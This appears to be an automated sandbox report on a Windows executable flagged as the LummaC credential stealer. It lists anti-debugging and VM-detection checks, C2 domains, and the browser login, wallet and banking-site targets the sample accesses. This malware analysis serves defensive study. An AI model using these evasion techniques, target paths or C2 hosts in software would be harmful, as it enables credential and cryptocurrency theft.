Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AF9FE second address: 63AFA04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AFA04 second address: 63AFA09 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AFB39 second address: 63AFB63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 mov dword ptr [esp], eax 0x0000000b cld 0x0000000c push 00000000h 0x0000000e movsx edx, dx 0x00000011 push B8DD0BD6h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FA454545C62h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AFB63 second address: 63AFBB7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA454E2C848h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 4722F4AAh 0x00000013 and dh, FFFFFFB1h 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007FA454E2C848h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 push 00000000h 0x00000034 xor edx, dword ptr [ebp+122D2F8Ah] 0x0000003a push 00000003h 0x0000003c mov ecx, dword ptr [ebp+122D22DEh] 0x00000042 call 00007FA454E2C849h 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AFBB7 second address: 63AFBD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA454545C68h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AFBD4 second address: 63AFC0F instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA454E2C85Ch 0x00000008 jmp 00007FA454E2C856h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 jg 00007FA454E2C855h 0x00000017 jmp 00007FA454E2C84Fh 0x0000001c push eax 0x0000001d push edx 0x0000001e push edi 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AFC0F second address: 63AFC3D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b je 00007FA454545C69h 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push esi 0x00000019 pop esi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AFC3D second address: 63AFC42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AFC42 second address: 63AFC48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AFC48 second address: 63AFC61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jnp 00007FA454E2C858h 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007FA454E2C846h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AFC61 second address: 63AFC65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 6399B5E second address: 6399B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 6399B65 second address: 6399B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63CEB7D second address: 63CEB87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63CEB87 second address: 63CEB9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA454545C5Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63CEB9D second address: 63CEBA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FA454E2C846h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63CEBA9 second address: 63CEBAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63CEBAD second address: 63CEBBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FA454E2C84Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63CECF7 second address: 63CED07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA454545C5Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63CED07 second address: 63CED28 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA454E2C846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007FA454E2C84Ah 0x00000012 pop eax 0x00000013 pushad 0x00000014 jc 00007FA454E2C846h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63CEE73 second address: 63CEE78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63CEE78 second address: 63CEE7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63CEE7E second address: 63CEE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63CF301 second address: 63CF326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA454E2C856h 0x00000009 popad 0x0000000a push esi 0x0000000b jnl 00007FA454E2C846h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63CF326 second address: 63CF32B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63CF32B second address: 63CF359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jl 00007FA454E2C853h 0x0000000b jmp 00007FA454E2C84Dh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jnp 00007FA454E2C846h 0x0000001b jmp 00007FA454E2C84Ah 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63CF359 second address: 63CF35F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Special instruction interceptor: First address: 708A94 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Special instruction interceptor: First address: 708B9D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Special instruction interceptor: First address: 8B8348 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Special instruction interceptor: First address: 8C99E7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Special instruction interceptor: First address: 943CC1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Special instruction interceptor: First address: 623DF58 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Special instruction interceptor: First address: 640065A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Special instruction interceptor: First address: 64714B8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Special instruction interceptor: First address: 6243698 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\l0zocrLiVW.exe TID: 6456	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe TID: 6968	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe TID: 528	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe TID: 5432	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe TID: 6420	Thread sleep time: -38019s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\l0zocrLiVW.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: l0zocrLiVW.exe, 00000000.00000002.2546305202.00000000063B4000.00000040.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000002.2537165822.0000000000897000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: l0zocrLiVW.exe, 00000000.00000003.2190182676.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2291533725.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212185596.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000002.2540165275.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW!{
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: l0zocrLiVW.exe, 00000000.00000003.2535542676.000000000584C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: l0zocrLiVW.exe, 00000000.00000003.2331311970.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2291721409.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000002.2540165275.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2314566527.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2291533725.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000002.2540165275.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2212460953.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2190238491.000000000100A000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2331009146.000000000100A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: l0zocrLiVW.exe, 00000000.00000003.2240517166.0000000005868000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: l0zocrLiVW.exe, 00000000.00000002.2546305202.00000000063B4000.00000040.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000002.2537165822.0000000000897000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: l0zocrLiVW.exe, 00000000.00000003.2240568521.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\l0zocrLiVW.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\l0zocrLiVW.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: NTICE
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: SICE
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: l0zocrLiVW.exe, 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: hummskitnj.buzz
Source: l0zocrLiVW.exe, 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: l0zocrLiVW.exe, 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: appliacnesot.buzz
Source: l0zocrLiVW.exe, 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: screwamusresz.buzz
Source: l0zocrLiVW.exe, 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: inherineau.buzz
Source: l0zocrLiVW.exe, 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: scentniej.buzz
Source: l0zocrLiVW.exe, 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: rebuildeso.buzz
Source: l0zocrLiVW.exe, 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: prisonyfork.buzz
Source: l0zocrLiVW.exe, 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: l0zocrLiVW.exe, 00000000.00000002.2537610993.00000000008DC000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\l0zocrLiVW.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\l0zocrLiVW.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: l0zocrLiVW.exe, 00000000.00000003.2314499110.0000000001018000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2314375952.0000000001050000.00000004.00000020.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2317730851.000000000585C000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\l0zocrLiVW.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: l0zocrLiVW.exe PID: 2736, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: l0zocrLiVW.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: l0zocrLiVW.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets
Source: l0zocrLiVW.exe	String found in binary or memory: Jaxx Liberty
Source: l0zocrLiVW.exe, 00000000.00000003.2331311970.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: l0zocrLiVW.exe, 00000000.00000003.2291721409.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: l0zocrLiVW.exe, 00000000.00000003.2331311970.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: l0zocrLiVW.exe, 00000000.00000003.2331311970.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: l0zocrLiVW.exe, 00000000.00000003.2291533725.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: l0zocrLiVW.exe, 00000000.00000003.2331311970.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
